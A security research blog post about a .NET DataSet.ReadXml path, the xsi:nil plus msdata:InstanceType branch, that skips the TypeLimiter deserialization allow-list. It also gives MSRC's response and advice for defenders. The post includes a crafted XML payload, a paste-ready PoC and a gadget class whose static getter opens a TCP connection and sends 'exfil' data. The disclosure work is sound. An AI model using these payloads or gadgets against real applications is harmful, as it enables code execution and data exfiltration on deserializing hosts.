[Research] .NET runtime - another deserialization allow-list bypass
During my journey into offensive security, one of the most interesting parts has been research. Even though it takes an enormous amount of time to dig deep into a single target, it can really be fruitful. But nowadays, with AI, this part can be kind of “accelerated”, though it still requires validation and time to properly assess a target.
Disclaimer: This research has been performed using an AI assistant. Why would we not use the technology that is available to us?
Anyways, the goal of this post is to present some of the stuff I was working on, and I hope you will like it as much as I liked working on it. Let’s stop the yapping and dig into the technical details of the finding.
.NET deserialization
As the title already teased, the research was aimed at the .NET runtime - and more specifically at deserialization-type bugs, which have always been interesting to me since I first learned about them. I won’t go deep into the theory here, but the gist: serialization turns complex objects into a stream of bytes that can travel over the network and be reconstructed on the other end without losing what they represent. And the part that actually matters for us: if an attacker controls what gets deserialized, that reconstruction can be turned into DoS, RCE, and more - which is exactly why these bugs are worth a look.
Many resources can be found on such vulnerabilities, not only for .NET but also for other programming languages, frameworks, etc. Some documentation regarding these:
- https://learn.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
- https://portswigger.net/web-security/deserialization
So what was the goal of this research? To find a deserialization bypass. Microsoft has been hardening this area by adding checks on the types being deserialized (https://learn.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance), so let’s dig into what those protections actually look like - and what exactly we are trying to bypass.
A bit of background: what is TypeLimiter even protecting?
When you serialize a DataSet or DataTable to XML, every value can carry an attribute called msdata:InstanceType. That attribute names a concrete .NET type - the one the deserializer is supposed to resolve and materialize for that value. And if you have played with deserialization before, the alarm bells should already be ringing here: “the untrusted input gets to tell me which type to instantiate” is basically the textbook primitive that turns a deserializer into a remote code execution engine.
Microsoft knew this, of course. CVE-2020-1147 was the answer, and it introduced a thing called TypeLimiter - basically an allow-list. Any type named in untrusted XML now has to pass TypeLimiter.EnsureTypeIsAllowed before it can be used. A handful of known-safe primitives and containers are on the list by default, and if you want more you have to opt in yourself. Solid, sane mitigation. The list of allow-listed types (and how to opt more in) can be found here:
Then CVE-2023-24936 came along and extended it. Someone spotted a value path inside SqlUDTStorage that reached a type without ever going through the allow-list, and the fix (commit 825f7c3f653) dropped the EnsureTypeIsAllowed call in there. One detail worth keeping in mind for later: the public write-up for that CVE noted the practical exploit still needed an extended allow-list, meaning the victim app had to have opted extra types in itself.
So by 2023 the mental model everyone walked away with was: every path that turns an msdata:InstanceType into a live type goes through TypeLimiter.
Spoiler: that model is wrong.
The forgotten sibling
While reading through XmlDataLoader I hit this line, and it made me stop:
// System/Data/XmlDataLoader.cs:1188
columnValue = SqlUdtStorage.GetStaticNullForUdtType(DataStorage.GetType(typeName));
This whole branch runs when a value element is both xsi:nil="true" and carries an msdata:InstanceType. And there is no allow-list check anywhere near it. Just to be sure I wasn’t going crazy, I grepped the entire file for TypeLimiter and EnsureTypeIsAllowed - zero hits. The mitigation simply is not on this road.
Let’s follow the two calls, because both of them do something spicy.
First, DataStorage.GetType(typeName):
// Common/Data/DataStorage.cs:572
internal static Type GetType(string value)
{
Type? dataType = Type.GetType(value); // throwOnError=false
// ... (the BigInteger special-case) ...
ObjectStorage.VerifyIDynamicMetaObjectProvider(dataType!); // <-- the ONLY filter
return dataType!;
}
That is just Type.GetType(name). Hand it an assembly-qualified name like "SomeType, SomeAssembly, Version=..., PublicKeyToken=..." and the runtime will happily go find and load that assembly to resolve the type for you. The only gate on the way is VerifyIDynamicMetaObjectProvider, which only rejects Dynamic Language Runtime (DLR) IDynamicMetaObjectProvider types. That is not the allow-list. Not even close.
Then, GetStaticNullForUdtType, which lands in:
// Common/Data/SqlUDTStorage.cs:42
private static object GetStaticNullForUdtTypeCore(Type type)
{
PropertyInfo? propInfo = type.GetProperty("Null", BindingFlags.Public | BindingFlags.Static);
if (propInfo != null)
return propInfo.GetValue(null, null)!; // <-- runs the static ctor + the getter
FieldInfo fieldInfo = type.GetField("Null", BindingFlags.Public | BindingFlags.Static)!;
// ... a static FIELD named Null works too
}
Reading that static property forces the type to initialize (so its static constructor runs) and then invokes the attacker-chosen type’s static Null getter. Both of those are attacker-controlled code running during deserialization. And again - TypeLimiter.EnsureTypeIsAllowed is never called anywhere on the way here.
Now here is the part that convinced me this was a genuine oversight and not some deliberate design decision. Just a few dozen lines away, in the same file, the non-nil value path does the check:
// Common/Data/SqlUDTStorage.cs:186-190
Type type = (typeName == null) ? _dataType : Type.GetType(typeName)!;
TypeLimiter.EnsureTypeIsAllowed(type); // <-- the guard that exists here...
object Obj = System.Activator.CreateInstance(type, true)!;
So we have two sibling code paths. Both take the same attacker-controlled type name. One of them grew an EnsureTypeIsAllowed call over two CVEs worth of hardening. The other one - the xsi:nil case - never did. The CVE-2023-24936 fix touched the right file. It just guarded the wrong sibling. 🙃
Why the schema even loads
There is one subtlety that makes this practical instead of purely theoretical. To even reach that per-row msdata:InstanceType, the inline schema itself has to load first - and schema loading is also type-gated. So how do we sneak the dangerous type past the schema check?
We don’t. We declare the column as System.Object:
msdata:DataType="System.Object"
System.Object is unconditionally allow-listed (it kind of has to be, it is the base of everything), so the schema validates and loads without complaining. The dangerous type name is not in the schema at all - it is supplied per row, through msdata:InstanceType, after the schema has already been accepted. And as a nice bonus, declaring the column as object also makes it a “custom type” column and forces useXmlSerializer to false, which is exactly the branch we want:
// System/Data/XmlDataLoader.cs:1176-1177
bool useXmlSerializer = !column.ImplementsIXMLSerializable &&
!((column.DataType == typeof(object)) || (typeName != null) || (xsiTypeString != null));
Both column.DataType == typeof(object) and typeName != null are true, so useXmlSerializer ends up false, and with xsi:nil="true" we drop straight onto the unguarded static-Null path. Everything lines up a little too nicely, right?
Let’s actually build it
Enough theory - let’s make it actually run. I wrote a small self-contained console PoC. The one genuinely annoying part of these DataSet payloads is getting the inline schema exactly right, so I cheated: I build a real DataSet with an object column, let the runtime write out its own schema, and then splice my malicious row into it. Guaranteed-valid schema, zero hand-crafting.
The malicious document ends up looking like this (trimmed a bit):
<PwnSet>
<xs:schema id="PwnSet" xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<!-- ... object column => allow-listed AND treated as a custom type ... -->
<xs:element name="C" msdata:DataType="System.Object" type="xs:anyType" minOccurs="0" />
</xs:schema>
<T>
<!-- xsi:nil + attacker InstanceType => the unguarded static-Null path -->
<C xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"
xsi:nil="true"
msdata:InstanceType="Poc.EgressGadget, Poc, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
</T>
</PwnSet>
Triggering it is the boring one-liner you’d expect any app to have somewhere:
var victim = new DataSet();
victim.ReadXml(new StringReader(xml)); // resolves Poc.EgressGadget, runs its static ctor + Null getter
And the “gadget” itself is just a plain user-defined type - very much not on anyone’s allow-list. The whole trick is that simply reading its static Null member is enough to run my code:
public sealed class EgressGadget
{
public static bool Detonated;
public static int ExfilPort;
static EgressGadget() // runs the moment the type initializes
{
Console.WriteLine(" [gadget] EgressGadget static constructor executed.");
}
public static EgressGadget Null // read via GetProperty("Null", Public|Static).GetValue(null)
{
get
{
Detonated = true;
using var c = new TcpClient();
c.Connect(IPAddress.Loopback, ExfilPort); // outbound connect (SSRF / exfil)
var p = Encoding.UTF8.GetBytes("EXFIL: secrets from the deserializing host");
c.GetStream().Write(p, 0, p.Length); // ...and off the data goes
return null;
}
}
}
To make the network egress actually observable, I spin up a throwaway TcpListener on localhost and let the gadget phone home to it. Here is the real output (reproduced on .NET 10 because that is what was on my box - the vulnerable code is byte-for-byte identical on .NET 9, where I first confirmed it):
[Test 1] EgressGadget via DataSet.ReadXml (expect: code runs, egress NOT blocked)
[gadget] EgressGadget static constructor executed.
[gadget] EgressGadget.Null getter executed (arbitrary code).
[gadget] outbound TcpClient send completed (NOT blocked).
[listener] captured 42 bytes: "EXFIL: secrets from the deserializing host"
=> PASS: allow-list bypassed, arbitrary code ran, data egressed.
So: a type that was never on the allow-list got resolved, its assembly loaded, its static constructor and static getter executed, and it opened an outbound connection carrying data off the host. All of that from a single DataSet.ReadXml.
That is the full PoC - networking, negative controls and all. But if you just want something tiny to paste into a fresh console project and watch it pop, here is a stripped-down version: same trick, one file, no networking.
using System;
using System.Data;
using System.IO;
// A type that is NOT on the TypeLimiter allow-list.
// DataSet.ReadXml reads its static "Null" member, which runs THIS code.
public class Evil
{
public static Evil Null
{
get
{
Console.WriteLine(">>> PWNED: arbitrary code ran during DataSet.ReadXml <<<");
return null;
}
}
}
class Program
{
static void Main()
{
// - column declared System.Object => schema loads (object is allow-listed)
// AND it becomes a "custom type" column
// - xsi:nil="true" + msdata:InstanceType => the UNGUARDED static-Null path
// (XmlDataLoader.cs:1188 -> no TypeLimiter.EnsureTypeIsAllowed check)
string xml = $@"<DataSet>
<xs:schema id='DataSet' xmlns:xs='http://www.w3.org/2001/XMLSchema'
xmlns:msdata='urn:schemas-microsoft-com:xml-msdata'>
<xs:element name='DataSet' msdata:IsDataSet='true'>
<xs:complexType><xs:choice maxOccurs='unbounded'>
<xs:element name='T'><xs:complexType><xs:sequence>
<xs:element name='C' msdata:DataType='System.Object' type='xs:anyType' minOccurs='0'/>
</xs:sequence></xs:complexType></xs:element>
</xs:choice></xs:complexType>
</xs:element>
</xs:schema>
<T xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:msdata='urn:schemas-microsoft-com:xml-msdata'>
<C xsi:nil='true' msdata:InstanceType='{typeof(Evil).AssemblyQualifiedName}'/>
</T>
</DataSet>";
Console.WriteLine("Calling DataSet.ReadXml on attacker XML...");
Console.WriteLine("InstanceType = " + typeof(Evil).AssemblyQualifiedName);
new DataSet().ReadXml(new StringReader(xml)); // <-- the whole exploit
Console.WriteLine("done.");
}
}
Run it and you get a single >>> PWNED <<< line - a type nobody allow-listed just executed code during ReadXml, no networking or ceremony required.
Proving it’s really the missing check
Back to the full PoC for a second. One PASS could just be luck, right? What I really wanted was to show the bypass itself - that the exact same type, in the exact same document, gets treated completely differently based on nothing but xsi:nil. So the PoC runs a third test that sends the same EgressGadget, but this time as a normal value instead of a nil one. That routes it through the guarded sibling (ObjectStorage.ConvertXmlToObject, which does call EnsureTypeIsAllowed), and:
[Test 3] Same EgressGadget type but NON-nil (expect: TypeLimiter rejects it)
result: InvalidOperationException -> Type 'Poc.EgressGadget, Poc, ...' is not allowed here.
gadget code executed on this path = False
=> PASS: guarded sibling blocks exactly what the xsi:nil path let through.
And there it is. Same type, same document, the only difference being xsi:nil="true". With nil, my code runs and data leaves the host. Without nil, TypeLimiter throws Type '...' is not allowed here and the gadget never even gets to initialize. The allow-list works perfectly - it is just not standing guard on the sibling door.
What about the Serialization Guard?
At this point you might be thinking: “okay, but .NET has a Serialization Guard that is supposed to backstop dangerous operations during deserialization, doesn’t that save us?” It does exist, and it is active on this path - but it is a pretty narrow net. It only intercepts a handful of things: file writes, process creation, and loading an assembly from raw bytes. That is it.
I checked this the honest way, with a negative control. My second test uses a gadget that tries to write a file:
[Test 2] FileWriteGadget via DataSet.ReadXml (expect: SerializationException from guard)
result: blocked by Serialization Guard (SerializationException: An action was attempted
during deserialization that could lead to a security vulnerability. ...)
The file write throws. So the guard is genuinely switched on for this code path - which is exactly what makes Test 1 damning. In the same context where a file write gets slapped down, an outbound TcpClient.Connect + send just sails through untouched. I also confirmed I could mutate a global static security flag from the gadget (tampering) - also not blocked. Network egress and static-state mutation simply live outside of what the guard cares about.
So no - “the Serialization Guard is on” does not mean “nothing bad can happen here”. It just means file writes and Process.Start are off the menu, and not much else.
So how bad is it, really?
Let me be honest about the impact here. This is not a turnkey RCE that works with in-box types alone. No type shipping with .NET has a static Null member that does something dangerous on its own, so you cannot just point this at a fresh runtime and pop a shell. The real impact is gated on there being a suitable static-Null gadget - or an on-disk assembly with a side-effecting static initializer - reachable somewhere in the victim app or its dependencies. That is the standard deserialization-gadget precondition, and honestly it is a weaker bar than CVE-2023-24936 needed (that one wanted an extended allow-list, this one does not).
What you unconditionally get, with no preconditions attached, is: a bypass of the named type-restriction security boundary, the ability to force-load any assembly already resolvable in the app’s load context, and execution of the static constructor + static Null getter of an attacker-chosen type - plus, as shown, SSRF / data exfiltration / internal port-scanning from the deserializing host, and static-state tampering, none of which the guard stops.
And the reach is the usual DataSet horror story: it is not only apps that obviously call ReadXml on untrusted XML. DataSet shows up as a transitive gadget too - anything that deserializes a type with a DataSet/DataTable member through DataContractSerializer, XmlSerializer, or BinaryFormatter can route untrusted input into this exact path, without the app ever mentioning DataSet by name.
For the record: confirmed on dotnet/runtime main @ 6fb2c42f0d2, re-verified line-for-line at 98d5787a726f, reproduced on .NET 9 and re-run end-to-end on .NET 10. The vulnerable code has not changed since the 2016 corefx import, so it is present on every in-support branch.
The MSRC bit
So I reported it, and here is the verdict that came back: MSRC classified it as Defense in Depth - a hardening gap that does not meet the bar for immediate action. To their credit, they did not just wave it away with a one-liner; here is the actual technical reasoning they gave:
The affected deserialization path invokes only the resolved type’s static constructor and static Null getter with no attacker-controlled parameters, and type resolution is restricted to assemblies already present in the application’s deployed load context, so no code or DLL can be loaded from an attacker-chosen location. No in-box type exposes a dangerous static member on this path, and the demonstrated data-access impact depended on a purpose-built type compiled into the target application rather than any shipping component. The missing allow-list gating on this path is therefore a hardening gap that does not cross a security boundary in a default configuration.
And honestly? A good chunk of that is fair, and I said as much myself earlier in this post. It is not turnkey RCE, it leans on a suitable gadget already living inside the victim app, and no in-box type hands you a dangerous static Null for free. Their point about the load context lines up with what I said above: Type.GetType resolves and loads an assembly that is already reachable in the app’s deployed context - it does not pull a DLL from some attacker-controlled path on disk. That is a real limit on the force-load primitive, and one worth being precise about.
Where I still raise an eyebrow: the thing being bypassed here is TypeLimiter - an allow-list that exists for the single purpose of deciding which types untrusted XML is allowed to name, and which two separate CVEs were spent building and extending. One sibling path skips it entirely, sitting one screen away from the sibling that enforces it. Whether that “crosses a security boundary in a default configuration” is exactly the kind of call reasonable people draw differently, and MSRC’s bar is theirs to set. I just happen to think a hole in the middle of a named security mitigation is worth closing - or at the very least worth writing down.
So: written down. 🙂
If you by any chance know by a gadget that could be used in such a scenario I would love to hear about it so reach out to me!
Takeaways
If you are on the defending side: treat DataSet/DataTable as radioactive around untrusted input. Do not ReadXml attacker-controlled XML, and go audit for DataSet/DataTable members hiding inside anything you hand to DataContractSerializer / XmlSerializer / BinaryFormatter. And please do not lean on the Serialization Guard for network or state protection - it simply does not do that.